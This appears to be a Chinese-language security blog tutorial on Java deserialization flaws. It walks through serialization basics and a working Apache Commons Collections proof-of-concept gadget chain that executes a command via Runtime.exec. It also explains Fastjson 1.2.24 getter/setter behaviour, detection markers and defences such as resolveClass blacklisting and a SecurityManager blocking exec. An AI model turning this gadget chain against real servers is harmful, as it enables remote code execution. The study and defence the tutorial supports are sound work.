详谈JAVA反序列化漏洞

概述

这里用三句话带过。
序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。总的来说就是反序列化数据可以被用户控制,然后反序列化的时候恢复对象任意代码执行。

序列化之后的内容

一个类的对象要想序列化成功,必须满足两个条件:

  • 该类必须实现 java.io.Serializable 接口。
  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

在序列化过程中,如果被序列化的类中定义了writeObject 和 readObject 方法,虚拟机会试图调用对象类里的 writeObject 和 readObject 方法,进行用户自定义的序列化和反序列化。(可以参考ArrayList的序列化过程)
如果没有这样的方法,则默认调用是 ObjectOutputStream 的 defaultWriteObject 方法以及 ObjectInputStream 的 defaultReadObject 方法。
用户自定义的 writeObject 和 readObject 方法可以允许用户控制序列化的过程,比如可以在序列化的过程中动态改变序列化的数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.company;

import java.io.*;
public class Main {

public static void main(String[] args) throws Exception {
MyObject myObj = new MyObject();
myObj.name = "hi";
myObj.age = 12 ;

//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);

//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
}
}
class MyObject implements Serializable {
public String name;
public int age;
}

image.png

image.png

推一波大牛工具:SerializationDumper

漏洞详情

Apache-CommonsCollections RCE

漏洞分析:深入理解 JAVA 反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// poc:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class test3 {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
Transformer transformerChain = new ChainedTransformer(transformers);

Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}

public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj");
payloadTest("obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

pop链
image.png

Fastjson 反序列化漏洞

简介

FastJson是自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是setter和getter的操作,从而结合一些类的特性造成命令执行。

下面的测试版本为 fastjson=1.2.24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.company;


import com.alibaba.fastjson.JSON;
import sun.misc.IOUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;

public class Main {
public String name;
private int age;
private Boolean sex;
private Properties prop;
public Main(){
System.out.println("User() is called");
}
public void setAge(int age){
System.out.println("setAge() is called");
this.age = age;
}
public Boolean getSex(){
System.out.println("getGrade() is called");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp() is called");
return this.prop;
}
public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\":\"com.company.Main\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(jsonstr, Main.class);
System.out.println(obj);
}
}

image.png
根据结果可以看出:

  • User 对象的无参构造函数被调用
  • public String name 被成功的反序列化
  • private int age 被成功的反序列化, setter 函数被调用
  • private Boolean sex 没有被反序列化,getter 函数也没有被调用
  • private Properties prop没有被反序列化, getter 函数被调用
    漏洞正是出现在这些getter和setter的自动调用中

重点关注后两条,sex和prop都为private变量,prop的getter被调用,sex的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。
根据FastJson源码发现,FastJson会对满足下列要求的getter进行调用

  • 只有getter没有setter
  • 函数名称大于等于4
  • 非静态函数
  • 函数名称以get起始,且第四个字符为大写字母
  • 函数没有入参
  • 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

image.png

Properties继承于Hashtable,Hashtable又继承于Map,满足所有条件,因此可被调用。
这时候假如public Properties getProp()中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞
注意,上面我们是指定了Main.class,但是如果不指定会怎样呢?
image.png
可以看到

How to find?

  • 从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB
  • Java RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是1099端口
  • 从源码入手,可以被序列化的类一定实现了Serializable接口
  • 观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

一般这种攻击思路都是逆推:从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

How to defence?

存在危险的基础库

1
2
3
4
5
6
7
8
9
10
11
12
13
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
......

漏洞检测—-RASP检测

Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。
类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以RASP检测反序列化漏洞时可通过重写ObjectInputStream对象的resolveClass方法获取反序列化的类即可实现对反序列化类的黑名单校验。
image.png

基于此方法,上大牛工具:SerialKiller

禁止 JVM 执行外部命令 Runtime.exec

通过扩展 SecurityManager 可以实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager,保护自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}

@Override
public void checkPermission(Permission perm) {
check(perm);
}

@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};

System.setSecurityManager(sm);
}

谨慎使用第三方库

Reference:

https://xz.aliyun.com/t/2041
https://xz.aliyun.com/t/2042
https://paper.seebug.org/312/

-------------本文结束感谢您的阅读-------------